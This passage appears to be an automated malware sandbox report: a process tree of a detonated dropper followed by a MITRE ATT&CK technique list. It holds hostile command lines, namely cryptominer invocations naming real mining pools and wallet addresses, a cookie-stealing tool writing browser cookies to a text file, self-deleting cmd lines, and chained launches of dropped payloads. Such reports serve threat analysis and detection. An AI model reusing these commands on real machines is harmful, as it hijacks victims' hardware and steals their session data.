        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
        6⤵
        
        PID:3440
      - C:\Windows\system32\msiexec.exe
        
        -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 9999
        6⤵
        
        PID:4592
    - - C:\Users\Admin\AppData\Roaming\D597.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\D597.tmp.exe"
        5⤵
        Executes dropped EXE
        
        PID:4820
      - C:\Windows\SysWOW64\cmd.exe
        
        /c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\D597.tmp.exe
        6⤵
        
        PID:5696
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 3
        7⤵
        Delays execution with timeout.exe
        
        PID:3528
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
        5⤵
        
        PID:5344
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        6⤵
        Runs ping.exe
        
        PID:5672
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
      4⤵
      PID:5548
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"
      4⤵
      PID:7556
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"
      4⤵
      PID:7432
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        
        PID:3656
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        
        PID:7220

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:856
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k SystemNetworkService
  2⤵
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  PID:5000

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4172

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4228

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4532

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:4792

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4824

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\936823ec3902449bb7396e1b63a46eab /t 576 /p 4824
1⤵
PID:5360

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:5392
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 32A292950CE6D5D29A5657F244601EA7 C
  2⤵
  PID:4424
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 4A19D265E53F0CCE105A8310CE5B94A4
  2⤵
  PID:6928
- C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
  2⤵
  PID:8500
- - C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default
    3⤵
    PID:8932

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:4968

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:6216

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\c41a53d1b0b64e199568e11e22691d65 /t 0 /p 4968
1⤵
PID:6648

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:5480
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{27f58da3-c84f-2f45-b8a8-da0c5ffd2912}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "000000000000016C" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:5032
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000174"
  2⤵
  PID:6360

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:1820
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:6744

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:5636

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:2676

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\3f5a519b939c4f9fab4d834dec600990 /t 2232 /p 2144
1⤵
PID:5716

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:5468
- C:\Program Files (x86)\Picture Lab\Pictures Lab.exe
  "C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"
  2⤵
  PID:3308
- C:\Program Files (x86)\Picture Lab\Pictures Lab.exe
  "C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"
  2⤵
  PID:6840
- C:\Program Files (x86)\Advanced Trip\DreamTrip.exe
  "C:\Program Files (x86)\Advanced Trip\DreamTrip.exe"
  2⤵
  PID:3564
- - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
    3⤵
    PID:5144
- - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
    3⤵
    PID:8140

C:\Windows\SysWOW64\werfault.exe
werfault.exe /h /shared Global\aa815a19feaa422c9a6bd18037bebeda /t 6676 /p 5096
1⤵
PID:1272

C:\Users\Admin\AppData\Local\Temp\is-A8VCT.tmp\lylal220.tmp
"C:\Users\Admin\AppData\Local\Temp\is-A8VCT.tmp\lylal220.tmp" /SL5="$50410,491750,408064,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"
1⤵
PID:7568
- C:\Users\Admin\AppData\Local\Temp\is-R5CHF.tmp\Microsoft.exe
  "C:\Users\Admin\AppData\Local\Temp\is-R5CHF.tmp\Microsoft.exe" /S /UID=lylal220
  2⤵
  PID:1232
- - C:\Users\Admin\AppData\Local\Temp\2a-3444b-122-a02b0-408357ce320d2\Lipucudefe.exe
    "C:\Users\Admin\AppData\Local\Temp\2a-3444b-122-a02b0-408357ce320d2\Lipucudefe.exe"
    3⤵
    PID:7236
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nodsxw1k.qi1\md6_6ydj.exe & exit
      4⤵
      PID:8556
    - - C:\Users\Admin\AppData\Local\Temp\nodsxw1k.qi1\md6_6ydj.exe
        
        C:\Users\Admin\AppData\Local\Temp\nodsxw1k.qi1\md6_6ydj.exe
        5⤵
        
        PID:9112
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fbjc3q5q.2hv\askinstall31.exe & exit
      4⤵
      PID:6040
    - - C:\Users\Admin\AppData\Local\Temp\fbjc3q5q.2hv\askinstall31.exe
        
        C:\Users\Admin\AppData\Local\Temp\fbjc3q5q.2hv\askinstall31.exe
        5⤵
        
        PID:10068
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xq25qevs.qau\toolspab1.exe & exit
      4⤵
      PID:10056
    - - C:\Users\Admin\AppData\Local\Temp\xq25qevs.qau\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\xq25qevs.qau\toolspab1.exe
        5⤵
        
        PID:7768
      - C:\Users\Admin\AppData\Local\Temp\xq25qevs.qau\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\xq25qevs.qau\toolspab1.exe
        6⤵
        
        PID:8376
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\10dypswe.jam\setup_10.2_mix.exe & exit
      4⤵
      PID:9540
    - - C:\Users\Admin\AppData\Local\Temp\10dypswe.jam\setup_10.2_mix.exe
        
        C:\Users\Admin\AppData\Local\Temp\10dypswe.jam\setup_10.2_mix.exe
        5⤵
        
        PID:8280
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gvtjwz5p.xkf\GcleanerWW.exe /mixone & exit
      4⤵
      PID:9712
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\32iz10ad.txa\app.exe /8-2222 & exit
      4⤵
      PID:10572
    - - C:\Users\Admin\AppData\Local\Temp\32iz10ad.txa\app.exe
        
        C:\Users\Admin\AppData\Local\Temp\32iz10ad.txa\app.exe /8-2222
        5⤵
        
        PID:6940

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:6676

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:7852
- C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
  MaskVPNUpdate.exe /silent
  2⤵
  PID:6964

C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
1⤵
PID:9900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

Software Discovery

T1518

System Information Discovery